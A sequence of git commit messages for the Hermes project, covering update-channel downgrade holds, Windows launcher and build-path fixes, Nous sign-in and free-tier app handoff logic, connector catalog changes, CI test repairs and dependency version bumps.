(cherry picked from commit 6127cdc338c63197e1be5aa6dbbeb879821d304b)
The salvaged hold is pinned on a preview channel. These cases pin it on
the shapes #140729 and Desktop actually reach, through the real
_cmd_update_impl against real git and a state.db with runtime ledger rows:

- an unconfigured install whose default channel is stable, on a main
  commit beside the release (neither contains the other): plain
  `hermes update --yes`, and the argv scripts/desktop-update/posix.sh
  runs (`--yes --keep-stash --channel stable`);
- an install whose channel is recorded as stable (Desktop's Settings
  selector, `--set-channel stable`) on a checkout that contains the
  release, where forward-only never applies.

Each holds HEAD, prints the ahead-of-release notice instead of the
refusal, and completes like an up-to-date run; all four fail on the base
with SystemExit(1) at the downgrade refusal. --branch to the same commit
stays refused (covered by the salvaged test).

Refs #134889 (GW-19)
Refs #140762
Refs #140729
Review follow-up on #140741, carried onto #140778: the release can sit
beside HEAD's line rather than behind it, so "ahead of" claimed more
than the guard proves; use "newer than". The run no longer closes with
"Already up to date!" under the hold notice: _finish_already_up_to_date
takes a held message. Drop the redundant expected_sha pin (the
up-to-date path recaptures HEAD). _assert_held_at_head now checks the
new wording and the held closing line.

(cherry picked from commit 0dc55e84c3a1128f7d708e62ce49bae6a68ecc00)
target_predates_runtime greps a release tree for _RUNTIME_SCHEMA_MARKER. If
the DDL in hermes_state*.py drifts from that literal, every later forward
release reads as pre-runtime; with the channel hold that becomes a silent
pin instead of a loud refusal, so fail CI on the drift instead.

(cherry picked from commit 0241a85570ceb33ffb7834008fac1861db580535)
update_cmd.py sat at ~2000 lines after the hold landed. Move
_hold_channel_release_behind_runtime unchanged into update_cmd_check as
hold_channel_release_behind_runtime, beside the channel target it acts on.
Facade helpers (_m, _capture_head_sha) are read through _uc() at call
time like the rest of that module, and downgrade_refusal is still
imported per call, so no import cycle and existing patches stay
effective. No behaviour change.

Refs #134889 (GW-19)
Refs #140762
Refs #140729
Review follow-up for the consolidated hold (#140215 + #140778), closing
the three open findings on #140215:

- `hermes update --check` asked the rollback question before the refusal,
  so a release this checkout already contains still printed "`hermes
  update` moves it back to that release" while the update itself holds.
  The refusal now comes first; the copy no longer says "move back", since
  the update holds rather than refuses.
- source_check cached its verdict for 24h with the hold baked in, so an
  offer cached before the first runtime turn stayed on offer after it.
  The hold is now re-asked on cached channel results too (a local git +
  sqlite probe, no network).
- The dashboard /update/check endpoint turned the hold's behind=0 into
  "You're on the latest version." and dropped it, and Desktop's backend
  card returned its generic latest line before looking at `held`. The
  endpoint now carries `held` + the release version, mapBackendCheck keeps
  them, and the held line wins over the backend fallback.
The hold asked the release tree, via local git, whether it defines the
gateway runtime. An install that tracks only `main` never has a release
cut beside it until `hermes update` fetches it, so `cat-file -e` failed,
the guard's "a git failure proves nothing" rule answered "offer", and
Desktop showed v0.22.2 as ready to install for exactly the installs
#139099 is about (DavidMetcalfe's review on #140215).

target_predates_runtime now takes an optional `remote` answer for a
target that is not local. The check surfaces (source_check, `hermes
update --check`) pass one that lists the release's root tree from the
GitHub API and reads its hermes_state*.py from raw.githubusercontent.com
(no API quota). Both backends share the marker and the module pattern
(STATE_MODULES, defines_runtime), so they cannot drift apart. The guard
stays the single place that decides.

- Only consulted when a store has runtime history and the commit is
  absent: everyone else makes no extra request.
- A definite verdict is cached per sha for good (a commit's tree never
  changes) in source-checks/release-runtime.json.
- A truncated tree, an unreadable module, or any network failure answers
  None and keeps the old behaviour (offered).
- `hermes update` itself is unchanged: it fetches the release first and
  stays git-only.

Co-authored-by: DavidMetcalfe <80915+DavidMetcalfe@users.noreply.github.com>
Check that a release's schema objects are present before trusting a local
no-match, and use the remote reader when the local probe cannot finish.
Cache release facts before applying the live store-dependent hold, so
removing the only ledgered profile makes an allowed release visible again.

Read independent schema blobs four at a time with one lookup deadline.
Daemon workers cannot hold a version command open after that deadline;
unknown verdicts expire instead of retrying GitHub on every cache hit.

Check marker drift against imported SCHEMA_SQL rather than source text,
and keep dashboard hold and rollback copy readable without a version.
Keep version-only release commits in the path-limited completeness probe
with --sparse. Git 2.53 otherwise simplifies them away, then mistakes an
unreadable schema blob for an absent runtime marker. Cover inherited
pre-runtime and runtime schemas in real blobless clones.

Clear rollback when projecting a live hold so --version cannot promise a
move the updater will not make. Extend the store/cache regression to
in-history releases and exercise the real version renderer; removing the
only ledgered store still restores the cached rollback offer.

Verified the ten affected test files on Git 2.53.0 and 2.55.0: each run
passed 218 tests with one platform skip. Both regressions failed before
their respective production fixes.
On Windows without distlib in the runtime environment, a repin of PM's Python
republishes the source launcher as a .cmd and must retire the old hermes.exe
so it cannot shadow it. stage_launcher deleted it, but the exe it has to
retire is usually the one running `hermes update` (or the launch retrying
the owed step), and Windows refuses to delete a mapped image. The publication
failed, the update owed 'launchers', so the install stamp and bootstrap
receipt were withheld at the old commit and the old exe kept booting the old
interpreter. Every retry ran from that same exe and failed the same way.

Windows does allow renaming a running image, so retire it by renaming it
aside when the delete fails (distlib's .deleteme move), and collect the aside
copy on a later publication once its process has exited.

Seen in the v0.22.5 rc.1 install E2E: installer-script -> hermes-update
(v0.22.4 -> HEAD) on Windows, where pm/lock.json moved Python 3.14.7 ->
3.14.9 (e31fa4cab9): "Update follow-up 'launchers' did not finish: source
launcher publication failed", then verify-stamp "pinnedCommit 4d04303818
!= installed HEAD 7c0905a008".
Review follow-up: the sweep of `hermes.exe.<pid>.deleteme` copies ran only
when the publication fell back to a .cmd launcher, so a later publication
with distlib available (an .exe) left the aside copy behind forever. The
sweep now runs on every successful publication. The running-launcher test
bounds its readiness wait, keeps the child's whole lifetime inside the
try/finally (kill + reap on a stuck shutdown), and republishes with distlib
restored to pin the collection.
* feat(auth): hand the free tier's apps to the account that replaces it

When a Nous account is saved over a free-tier identity, Hermes now moves
that identity's connected apps into the account with one call to the Nous
Portal claim endpoint, authorized by the account's own token. Nothing asks
first; the result (account email, what moved, what needs reconnecting) is
shown afterwards in `hermes auth status nous` and exposed for the desktop.

Sign-in code does not know about it. A hook at the two lowest write seams
(`_store_provider_state`, `_write_shared_nous_state`) writes a pending
record under the existing locks and does no network. The claim runs
outside every lock: after a shared-store write, when a `deferred()` block
exits (the desktop poller and `run_sign_in` save under their own lock),
after a free-tier reconcile, and on each Nous keepalive tick, which
resumes retries from an earlier process.

Records sit beside the shared Nous store, keyed by a hash of the free-tier
credential and bound to the destination account, so profiles sharing one
free-tier identity share one record and one claim. A claim lock spans
read, claim and write. A Claimed record is never reopened; a lost success
followed by an unknown-credential answer reads as "probably moved". The
account token is refreshed after the move only when the cohort carried.
The same path runs `settle_after_upgrade` once per replacement, so every
replacing writer settles the config.

The legacy promotion sign-in already moves the apps on the server, so it
records the handoff as done and sends no claim.

* fix(auth): the free-tier handoff only ever claims into its bound account

Review round 1 on the guest handoff.

P1, Bearer not proven to be the destination: the runner checked the
profile's account against the record's destination, then resolved a
Bearer separately. A sign-in landing between the two could move the apps
into that other account and mark the record Claimed. The Bearer is now
resolved first and its JWT subject is compared to the record's
destination inside the reservation, so only a token proven to belong to
the destination is ever sent.

P1, stale reservation: the destination check and the attempt increment
were separate record reads, so a sibling could rebind the destination in
between. `_reserve` now does one locked read-modify-write: still active,
due (`next_attempt_at`, so a waiting runner honours a Retry-After another
runner saved), under `MAX_ATTEMPTS` (a crash after the last send now
closes the record as Failed instead of sending again), and bound to the
Bearer's subject. A record without a destination subject is never written.

P2, config completion in the runner: `drain` no longer runs
`settle_after_upgrade`. Settling stays with the sign-in that saved the
account (run_sign_in, the desktop poller), as before this PR. This
deletes the thread-local queue and the batch's settle fallback.

P2, keepalive: a handoff failure is logged and token renewal carries on.
An unparseable records file is moved aside to .corrupt on the next write
instead of blocking every Nous account save.

P2, budget: the remaining sync budget is checked before each record,
token resolve and request, and is passed as their timeout, so a refusal
at the edge starts no refresh or second claim.

P2, status: an active move bound to an account the profile no longer
holds reads as paused, with copy that says so.

* fix(auth): free-tier handoff retries reach every profile and every long-lived process

Review round 2 on the guest handoff.

P1, queued moves had no worker: retries rode the token keepalive, which
does not start in a process that boots with a guest (a Desktop backend
before sign-in). A move left by a CLI sign-in during an outage then
waited for a restart. Retries now run on a dedicated worker that
`start_nous_auth_keepalive` starts in every long-lived Nous process,
guest or not; the keepalive tick no longer drains.

P1, named profiles never retried: the keepalive drained only the launch
profile's records. Each worker tick now runs every due record under its
owning profile's home and secret scope (the way the cron ticker binds a
profile), so a named profile's move retries from a process launched as
another profile. The bound-account check and the Bearer proof in the
reservation still decide whether anything is sent.

P2, cached guest token: the resolver's 5 s memo could still hold the
guest's token from a connector call just before the save; the
reservation then refused its subject and the move waited for a later
run. The handoff now drops that memo before reading the account token.

P2, budget through locks: the token read waited the resolver's own
15 s floors for the auth and shared locks. The handoff now takes both
locks itself within the remaining budget (same order), which makes the
resolver's acquisitions reentrant, and re-checks the budget before
reserving or sending.

* fix(auth): free-tier handoff never gives up on a transient failure before the reap

Compatibility audit, items B1, B4 and B5.

B1: a handoff that reached Failed was never retried, so the free tier's
apps were lost when the idle free-tier identity was reaped after 14
days. Transient failures (5xx, the 503 breaker with no Retry-After,
timeouts, busy, unknown codes) became final after 8 attempts, about 81
minutes. Now only codes no later attempt can change are final
(client_not_allowed, account_locked, invalid_request). Every other
outcome retries, the slowest rung (1 h) repeating, until 13 days after
the record was made. The attempt reservation then closes it as Failed
`retry_window_ended`. One predicate (`_retryable`) picks the work for
every run, so a record an older build failed on a transient code re-arms
on the next sign-in, `hermes auth status nous`, `hermes auth upgrade`, or
retry-worker tick, with no new state. The attempt cap is deleted.

B4: failure copy printed raw server codes. Final codes map to a plain
sentence, and anything else shows only the generic sentence.

B5: a claim answer without a `connectors` field (an older service) read
as "There were no free-tier apps to move", and so did Gone on a first
attempt, which follows a released ticket that already moved the apps.
The first now reads as unknown with neutral copy, and the second as
"Nothing left to move from the free tier."

* fix(auth): a free tier with no apps reads as nothing moved after sign-in

A free tier that only read its connectors gets a vendor id row on the
service, so the claim answers kind `moved` (or `swapped`) with an empty
`moved_toolkits`. The status copy keyed on the kind and printed "Your
apps moved to <email>." for an account that received nothing.

One rule: an empty moved list reads as nothing moved, for moved and
swapped alike. The service now refuses a move it could not read, so an
empty list is the truth. The promotion sign-in's record, which reports
no list at all, now carries kind `unknown` and keeps its neutral copy
instead of falling under the rule.
* feat(auth): every Nous sign-in is the plain device-code login

Every Nous sign-in (desktop, CLI and TUI /login, gateway /login,
`hermes auth upgrade`) now runs one plain device-code login,
`anon_sign_in.run_sign_in`: device code, a cancel-aware token poll,
save. The free tier the account replaces hands its apps over in the
existing guest handoff step after the save, and every surface prints
what moved and what to reconnect right after "Signed in as ...".

The promotion intent/status calls, the consent page link and the
`cancel_wins_after_promotion` rule are gone, with the Declined,
Superseded, Retired and Unavailable states. A cancel is now one
`Cancelled` state and always wins: nothing is saved.

- The token poll takes a `cancelled` hook and checks it on a <= 1 s
  tick, so a desktop cancel or a newer /login stops it at once.
- An expired code maps to `TimedOut` (`reason: timeout` on the desktop).
- The account email is read from the access token's `email` claim.
- TLS goes through `_resolve_verify`, so the CA bundle settings apply.
- /login works with no free tier on disk.
- The desktop start route always uses the flow (`replace_account=True`
  keeps "connect another account" working) and the poll route returns
  the handoff lines.
- `hermes model` signs a connector-only free tier in instead of
  refusing; `_login_nous` prints the handoff result too.
- Every sign-in that saves an account settles the config itself once
  its locks are released (`run_sign_in`, `_login_nous`, `hermes auth add
  nous`, the billing step-up, the tool-setup login); the handoff runner
  only moves apps.

* fix(auth): CI round 1 on the plain sign-in

- The docs page wrote "<= 1 s", which MDX parses as a JSX tag; say
  "at least once a second" instead.
- The shared Retry-After parser test still imported the promotion
  status poller's helper, which this PR deletes; drop that leg.

* fix(auth): Greptile round 1 on the plain sign-in

- Read the Portal URL inside the profile scope: with no Nous state on
  disk, a multi-profile backend read the override after the scope had
  exited and signed in against the default Portal.
- An expired_token answer from the token endpoint is TimedOut (the
  desktop's timeout screen), the same as running out the clock.

* fix(auth): Greptile round 2 on the plain sign-in

`hermes auth add nous` and the tool-setup Nous login now capture the
free tier's handoff around their save and print what moved and what to
reconnect, the same as the terminal login does.

* fix(auth): Greptile round 3 on the plain sign-in

- The Portal is resolved through the same rule every other Nous call
  uses: the operator's override wins over a URL saved in the auth store,
  so a staging override no longer signs a desktop "connect another
  account" into production.
- Gateway /login holds its registry lock across the final cancel check
  and the save, so a replacing /login cannot land between them and the
  replaced attempt never saves.

* fix(auth): Greptile round 4 on the plain sign-in

Gateway /login no longer holds its registry lock across the save. The
final cancel check claims the save under the lock, then the save runs
outside it: the event loop takes that lock, and a save can wait on the
auth store. A replacing /login while the save runs is told a sign-in is
finishing instead of cancelling it.
* feat(desktop): sign-in dialog shows who signed in and what moved

The free-tier sign-in dialog now reads "Finish in your browser" with the
device code shown small ("Do not share it.") and an "Open page again"
button. Once the browser approves, the result screen sets the account
email large under "Signed in as", then says what the replaced free
tier's apps did, in the same lines every other sign-in surface prints.
A Reconnect button opens the app that has to be reconnected; a move
still retrying is a small note that updates itself.

- The sign-in poll is a long-poll (`?wait=`): the backend answers once
  the session leaves pending, capped at 25 s. The desktop never asks
  again sooner than 2 s, so an older backend that answers at once is
  not hammered. The onboarding picker uses the same loop, and a Nous
  sign-in there that moved apps opens the same result screen.
- The poll reports `handoff_status`: the handoff record as fields plus
  its copy (`guest_handoff.wire_status`).
- New `GET /api/providers/oauth/nous/handoff?since=&wait=`
  (token-protected, profile-scoped) long-polls the handoff record so a
  retrying move is followed until it settles or the dialog closes.
- The copy and failure screens for the retired transfer outcomes
  (declined, superseded, retired) are gone.

* test(auth): sign-in copy check builds Completed with its handoff_status

The every-state copy check builds each SignInState from a placeholder
per dataclass field; Completed gained handoff_status in the parent
commit, so give it a real wire_status value.

* fix(desktop): Greptile round 1 on the sign-in result screen

- Onboarding paints above every dialog, so a result from the onboarding
  provider list now waits until onboarding leaves the screen.
- The result keeps the profile the sign-in ran for, and Reconnect names
  that profile (and connection) in the Connectors link, like a chat's
  connector links do.
- A sign-in whose own run attempted no move (another process held the
  claim, or the budget ran out) reports the replaced free tier's saved
  record instead of no handoff (`guest_handoff.record_status`).
- A failed handoff read retries with backoff (4, 8, 16, 32 s) before the
  result stops following the move.
- de, es, fr and zh get the new dialog strings.
* feat(connectors): list hosted apps without creating a guest identity

Opening the desktop Connectors page used to create a Nous guest identity:
connectors.list, connectors.catalog, connectors.accounts and
connectors.policy.get each created one before answering, because the
Portal's catalog route needs a token. A user who only looked at the page
got an identity anyway.

While there is no identity yet (and one may still be created), those four
reads now answer without one: the catalog from a snapshot that ships with
Hermes, an empty connector list, no accounts and no rules. Connecting an
app still creates the identity, as before.

scripts/refresh_connector_catalog.py rewrites the snapshot from a
signed-in install. It leaves logos out: no client draws them.

* feat(free-tier): sign-in offer for guests who connected apps

Every free-tier sign-in offer keyed on the welcome trial, so a user on
their own model key who connected apps through a guest identity never saw
one.

The offer record now tracks two offers on the same schedule. `trial` is
unchanged. `connector` is for a guest without the trial that has connected
an app: each app that finishes connecting sets `has_connected_app` on the
guest state (so it dies with the guest) and counts as a finished task.
free_tier.status (still a pure local read) adds connector_nudge_due_in, and
free_tier.claim_nudge takes a `kind`.

The desktop reads the connector offer whether or not the trial is
available, re-reads the status after a turn or a page connect, and shows
connector copy instead of the free-allowance copy. After a page connect
settles it also re-reads the catalog and rules, so the bundled catalog
from before the identity existed is replaced by the account's own.

* fix(connectors): point the sign-in hint at `hermes auth upgrade`

`hermes connectors` told users to run `hermes login`, which no longer
exists. Both hints now say "Run `hermes auth upgrade` to sign in."

* feat(connectors): read the public catalog with no token; one guest rule per entry point

The bundled catalog snapshot listed apps a new guest cannot connect and
went stale whenever the catalog changed. With no token, the Connectors
page now reads the Nous Portal's public catalog route
(GET /api/v1/connectors/catalog/public), sent with no Authorization and
parsed with the existing catalog model. Once a token exists the page reads
the signed-in route, as before.

Whether an entry point may create the guest identity is now declared once
per entry point instead of checked inside handlers:
- managed_client(creates_guest=...) is required: connect (page, agent,
  card retry) and the explicit lists (CLI `hermes connectors list`, agent
  manage_connections status/display) pass True, unchanged.
- account RPCs declare creates_guest on _account_method: catalog,
  accounts and policy.get never create one; tools and the account writes
  still do.
- the page's connectors.list never creates one; connect does.

With no token the page reads give true answers: public catalog, empty
connected list, no accounts. The invented "unrestricted" policy is gone:
the desktop asks for rules only once the list has rows, which needs a
token, and policy.get without one refuses with sign-in-required.

Deleted: the bundled snapshot, its refresh script, and the no-identity
stubs.

* fix(connectors): CI and review round: older backends, outside connects, link connects, guest opt-out

- CI: test_legacy_fallback_ticket_profile_verbs faked managed_client with
  no arguments and gave the secondary profile no token, so the page list
  (now token-gated, creates_guest=False) never reached it. The fake takes
  the new keyword and the profile holds a token.
- Older backends: a trial claim sends free_tier.claim_nudge with no
  params again. An older backend rejects the unknown `kind` key and would
  have dropped the trial offer; the new backend defaults to the trial.
  Only the connector claim sends `kind`.
- Outside connects: while the page's list is empty (no identity), every
  finished turn or connect re-reads the list and catalog. An agent connect
  in a chat then moves the page to the signed-in routes and its rules.
- Link connects: an agent status read that sees a connected app on a
  guest without the flag arms the connector offer, so messaging and
  one-shot connects (no operation watcher) count too.
- Opt-out: the connector offer requires nous.guest to be allowed.

* fix(connectors): the Connectors page list arms the connector offer too

A guest whose apps were connected by an older Hermes has no has_connected_app flag, and only the operation watcher or the agent's status read set it. The page's connectors.list now passes its rows to note_connected_apps_seen, which owns the any-connected check for both list reads.

* fix(connectors): review round 3: accounts after an outside connect, retryable offer record

- An identity created outside the page (an agent connect in a chat) now also re-reads the accounts cached while there was none, so the new account row, rename and remove show up.
- note_app_connected records the connector task before it sets has_connected_app. The flag ends list-read sightings, so a failed schedule write no longer leaves the offer unarmed for good.
With a cold desktop-inputs cache, Windows desktop preparation builds sdists
that have no cp314 Windows wheel (obstore on win32-x64, dependency-injector on
win32-arm64). uv builds each one in
<cache>\python\runtime\<toolchain id>\sdists-v10\pypi\<pkg>\<ver>\<id>\src,
about 200 characters below the deep .cache\desktop-inputs root, so MSVC
link.exe outputs passed MAX_PATH and the build failed with LNK1104.

On Windows, prepare_tools now hands uv a short job-local junction
(<work>\uv) that points at the same transported cache directory. uv keeps the
spelling it is given, so builds run under the short path while the bytes are
still restored and saved by the desktop-inputs cache. The native toolchain id
is read through the junction, and prepare_native keeps the absolute spelling
instead of resolving the junction back to the long path.

CARGO_TARGET_DIR is also owned by the preparation environment and points at
<work>\cargo, so Rust sdists link under the work root on every target even
if a tool resolves the junction.
Review follow-up: short_alias now creates the junction's parent directory,
so preparation never depends on the caller having made the work dir first
(the existing prepare_tools test failed on both Windows lanes with WinError 3).
That test now checks the invariant the Windows path keeps: UV_CACHE_DIR
reaches the cache directory, through the short work-local junction on Windows.
07ee800dc7 relocked with newest uv, which writes `revision = 5` and a
`default-groups` attribute on the root package. The pinned uv2nix
(5a836d3, July) rejects that attribute, so `nix flake check` fails at
evaluation: "function 'anonymous lambda' called with unexpected argument
'default-groups'" (v0.22.5 rc.2 release run 39880455146).

uv2nix accepted the attribute upstream in e3dc0e4 ("lock1: accept
default-groups attribute introduced in uv 0.12.22"); pin to its follow-up
7aba73a (the regression test for it). Only the uv2nix lock node moves.
test_malformed_secondary_cannot_evict_recorded_member failed in CI with
`uv sync` "Hash mismatch for member-dep @ file://.../member_dep-1.0-py3-none-any.whl".

Mechanism: installing_member() rebuilds member_dep-1.0 into the same
wheels/ dir for the second plugin. _wheel used ZipFile.writestr(name, ...),
which stamps the wall clock (2-second zip resolution), so a rebuild that
crosses a tick has different bytes. The final sync seeds from home A's
recorded lock (pm/packages.py: seed = prior resolved_lock), and uv 0.13.5
keeps that lock's sha256 for an unchanged path-wheel version (uv 0.12.13
re-hashed it), so sync then verifies the new file against the old hash.
The test runs in ~2 s alone, so it passed whenever both builds fell in
one tick; CI load pushed it across.

Not caused by 07ee800dc70's relock: 7c0905a008 (rc.1) and 07ee800dc7
fail identically under the injection below.

Repro: a 2.1 s sleep before the second installing_member() call, with
uv 0.13.5 first on PATH, fails base on every run (3/3) and passes with
this fixture (3/3); uv 0.12.13 passes on base too.

Fix: fixed ZipInfo date_time and mode, so a same name/version wheel is
one artifact, as on an index. test_fixture_wheels pins it (clock moved
an hour between builds -> identical bytes; red on base).
Every Windows x64 MSIX chat smoke since the Blacksmith migration (91fae5f8cb)
failed: first on the GitHub-hosted guard, and since that guard was removed
(272adc7b6f) with Playwright's "Process failed to launch!", on Electron 40 and
44 alike. The same builds' arm64 MSIX, on a GitHub-hosted runner, chats; the
last green x64 smoke (Oct 14) ran on windows-latest-32-core. Move the x64 leg
back there, as f1b290e773 did for the install/update GUI legs.

The failure itself carried no evidence: when the app exits before its debugger
line, Playwright's Electron.launch leaves sibling stderr-watcher rejections
unhandled, Node dies on them, and the smoke's catch never writes its receipt or
Playwright's call log. The driver now logs those rejections (still failing the
run), so the receipt records the app's exit code and stderr, and the Windows
smoke saves Application-log errors from the run on failure.
On Windows a launch activates only the dependency environment, which has no
distlib (a test extra) and drops the store interpreter's site-packages. So
the `hermes update` that repins PM's Python found no ScriptMaker, published
bin\hermes.cmd and -- since #143291 taught it to rename a running image
aside -- retired bin\hermes.exe. The install was left with no hermes.exe,
which Desktop's backend sweep (taskkill /IM hermes.exe), users' shortcuts and
terminal profiles, and the install E2E all name.

The installer mints the first hermes.exe through python-build-standalone's
bundled pip (pip._vendor.distlib). Every store Python ships that pip, so when
the running process cannot import distlib, mint_launcher now loads the
vendored distlib from beside the interpreter it is binding, under a private
module name so the store's pip never answers `import pip` here. The .cmd
fallback remains for an interpreter with no distlib at all. The retired-copy
sweep also collects distlib's own `hermes.exe.deleteme`, which its in-use
replacement leaves when the update's own exe is the one being replaced.

Seen in the v0.22.5 rc.2 install E2E (v0.22.0 -> a4072ce7e6, Python
3.14.7 -> 3.14.9): test_upgrade_over_old_gateway.py "installer published no
...\hermes\bin\hermes.exe".
Delete, the owner-run prune and onboarding cleanup retire live sessions through
retire_live_sessions, which pops the live session, so the viewer-close settle that
calls release_unlocks returns early for them. A password manager the chat unlocked
then stayed unlocked until its 30-minute idle timeout, owned by a session that no
longer exists. retire_live_sessions now releases each retired session's unlocks
beside its delegation refusal, as the TUI sidecar does on every session end.

Co-authored-by: Kevin Lin <2793983+levinkin@users.noreply.github.com>
fix(gateway): let browser_vault ask for codes and logins in Desktop chats
First-time `hermes setup` runs the agent-import step before the mode menu.
Full setup acknowledges the import, but Quick Setup went straight to the
Nous Portal login and replaced the imported model/provider, leaving the
imported key unused in .env.

Quick Setup now gets `imported_from` like Full setup. When the import left
a model Hermes has credentials for, it says where the settings came from
and asks "Keep your imported model (<provider> · <model>) or switch to Nous
Portal?" with Keep as the default. Keep skips the Nous Portal step; the
rest of Quick Setup runs unchanged. Switch, no import, or an import without
a model behave as before. Blank Slate is untouched.
reconnect-turn-state.spec.ts:177 goes red intermittently on CI only
("a turn indicator (Stop) is still showing after the turn settled"; rc.1
v0.22.5 run 39867334090 and the Oct 19 dispatch 39330962543). The CI trace
shows the indicator at 0 (toHaveCount passed at +10795 ms), back at 1 by
+11054 ms, and idle again by the failure screenshot: a transient re-arm
after the settle, not an early assertion. Eleven local runs (eight pinned
to two cores) never re-armed, and the CI artifact carried no frame or DOM
timeline to name which path re-armed it.

On a settle failure the spec now attaches stop-timeline.txt to the test's
output dir (uploaded by CI): every non-delta gateway frame on the primary
socket (event type, seq, running; RPC results with running and the replay
window), merged with every Stop-button transition from an in-page
MutationObserver (no polling load), on one clock. Assertions and waits are
unchanged.
The cache-scope test imported PyYAML, which main no longer installs, so the
file failed to collect and ran zero tests; use hermes_yaml like the rest of
the suite. Also clear the two blocking ruff findings on the picked lines
(UP006 Dict -> dict on _fresh_cached_policy, PLR0402 module alias import).
- anyio: 4.14.2 -> 4.15.1
- cbor2: 6.1.4 -> 6.1.5
- charset-normalizer: 3.5.1 -> 3.5.2
- click: 8.4.2 -> 8.5.0
- cloudpathlib: 0.25.0 -> 0.26.0
- csvw: 4.1.0 -> 4.1.1
- ctranslate2: 4.8.1 -> 4.8.3
- cuda-bindings: 13.4.1 -> 13.4.4
- cuda-pathfinder: 1.8.1 -> 1.8.3
- darabonba-core: 1.0.8 -> 1.0.9
- davey: 0.1.6 -> 0.1.7
- filelock: 3.32.4 -> 3.32.7
- fsspec: 2026.7.0 -> 2026.9.0
- google-api-core: 2.34.0 -> 2.42.0
- googleapis-common-protos: 1.75.1 -> 1.75.5
- greenlet: 3.5.5 -> 3.5.6
- grpcio: 1.83.0 -> 1.84.0
- grpcio-status: 1.83.0 -> 1.84.0
- hf-xet: 1.6.0 -> 1.7.0
- idna: 3.19 -> 3.20
- iniconfig: 2.3.0 -> 2.3.1
- jiter: 0.16.0 -> 0.17.0
- lxml: 6.1.2 -> 6.1.3
- markupsafe: 3.0.3 -> 3.0.4
- microsoft-teams-cards: 2.0.16 -> 2.1.1
- microsoft-teams-common: 2.0.16 -> 2.1.1
- msal: 1.38.0 -> 1.39.0
- msgpack: 1.2.1 -> 1.2.3
- networkx: 3.6.1 -> 3.7
- nvidia-nvjitlink: 13.4.52 -> 13.4.92
- onnxruntime: 1.29.0 -> 1.31.0
- pluggy: 1.6.0 -> 1.7.0
- primp: 2.0.0 -> 2.0.1
- propcache: 0.5.2 -> 0.5.4
- proto-plus: 1.28.3 -> 1.29.0
- pycparser: 3.0 -> 3.11
- pycryptodome: 3.23.0 -> 3.24.1
- pydantic-settings: 2.15.0 -> 2.16.0
- pyparsing: 3.3.2 -> 3.3.3
- pytz: 2026.3.post1 -> 2026.5
- regex: 2026.9.10 -> 2026.9.29
- rpds-py: 2026.6.3 -> 2026.9.1
- smart-open: 8.0.1 -> 8.0.4
- srsly: 2.5.3 -> 2.5.4
- sse-starlette: 3.4.8 -> 3.5.0
- synchronicity: 0.12.5 -> 0.12.6
- tokenizers: 0.23.1 -> 0.23.3
- torch: 2.14.0 -> 2.14.1
- tqdm: 4.70.0 -> 4.70.1
- typer: 0.27.1 -> 0.27.3
- vercel-headers: 0.7.1 -> 0.7.2
- vercel-oidc: 0.8.0 -> 0.10.0
- wcwidth: 0.8.2 -> 0.9.2
- websocket-client: 1.9.0 -> 1.9.2
aiohttp-socks: 0.11.0 -> 0.12.0 (pins edited: 1; also: {})
alibabacloud-dingtalk: 2.2.42 -> 2.2.65 (pins edited: 1; also: {})
anthropic: 0.87.0 -> 0.125.0 (pins edited: 2; also: {})
asyncpg: 0.31.0 -> 0.32.0 (pins edited: 1; also: {})
azure-identity: 1.25.3 -> 1.26.0 (pins edited: 1; also: {})
boto3: 1.42.89 -> 1.43.115 (pins edited: 1; also: {botocore 1.42.97->1.43.115, s3transfer 0.16.1->0.19.3})
concurrent-log-handler: 0.9.29 -> 0.9.30 (pins edited: 1; also: {})
croniter: 6.0.0 -> 6.2.4 (pins edited: 1; also: {pytz 2026.5->None})
cryptography: 50.0.1 -> 50.0.2 (pins edited: 2; also: {})
daytona: 0.155.0 -> 0.210.0 (pins edited: 1; also: {marshmallow 4.3.1->None, daytona-api-client-async 0.155.0->0.210.0, daytona-api-client 0.155.0->0.210.0, daytona-toolbox-api-client-async 0.155.0->0.210.0, daytona-toolbox-api-client 0.155.0->0.210.0, environs 14.6.0->None})
debugpy: 1.8.20 -> 1.8.22 (pins edited: 1; also: {})
distlib: 0.4.3 -> 0.4.4 (pins edited: 1; also: {})
exa-py: 2.10.2 -> 2.26.0 (pins edited: 1; also: {})
fal-client: 0.13.1 -> 0.14.1 (pins edited: 1; also: {})
firecrawl-py: 4.17.0 -> 4.53.2 (pins edited: 1; also: {})
google-api-python-client: 2.194.0 -> 2.201.0 (pins edited: 1; also: {})
google-auth: 2.55.1 -> 2.62.0 (pins edited: 2; also: {})
google-auth-httplib2: 0.3.1 -> 0.4.4 (pins edited: 1; also: {})
google-auth-oauthlib: 1.3.1 -> 1.5.0 (pins edited: 1; also: {})
google-cloud-pubsub: 2.39.2 -> 2.43.0 (pins edited: 1; also: {})
httpx2: 2.12.0 -> 2.15.1 (pins edited: 3; also: {httpcore2 2.12.0->2.15.1})
huggingface-hub: 1.24.0 -> 1.33.0 (pins edited: 1; also: {})
lark-oapi: 1.6.8 -> 1.7.5 (pins edited: 1; also: {})
markdown: 3.10.2 -> 3.11.2 (pins edited: 1; also: {})
microsoft-teams-apps: 2.0.13.4 -> 2.1.1 (pins edited: 1; also: {microsoft-teams-api 2.0.16->2.1.1})
modal: 1.5.5 -> 1.6.2 (pins edited: 1; also: {})
nemo-relay: 0.10.0 -> 0.10.3 (pins edited: 0; also: {})
numpy: 2.4.3 -> 2.5.4 (pins edited: 3; also: {})
packaging: 26.0 -> 26.3 (pins edited: 2; also: {})
parallel-web: 0.4.2 -> 0.6.0 (pins edited: 1; also: {})
pillow-heif: 1.6.0 -> 1.8.1 (pins edited: 0; also: {})
playwright: 1.62.0 -> 1.64.0 (pins edited: 1; also: {})
prompt-toolkit: 3.0.52 -> 3.0.53 (pins edited: 1; also: {})
pydantic: 2.13.4 -> 2.14.1 (pins edited: 1; also: {pydantic-core 2.46.4->2.50.1})
pytest-asyncio: 1.3.0 -> 1.4.0 (pins edited: 1; also: {})
python-dotenv: 1.2.2 -> 1.2.4 (pins edited: 1; also: {})
pywinpty: 3.0.5 -> 3.1.0 (pins edited: 0; also: {})
requests: 2.33.0 -> 2.34.2 (pins edited: 1; also: {})
resvg-py: 0.4.0 -> 0.5.0 (pins edited: 1; also: {})
rich: 14.3.3 -> 14.3.4 (pins edited: 1; also: {})
slack-sdk: 3.44.1 -> 3.45.0 (pins edited: 2; also: {})
sounddevice: 0.5.5 -> 0.5.6 (pins edited: 3; also: {})
starlette: 1.3.1 -> 1.9.0 (pins edited: 4; also: {})
tenacity: 9.1.4 -> 9.2.1 (pins edited: 1; also: {})
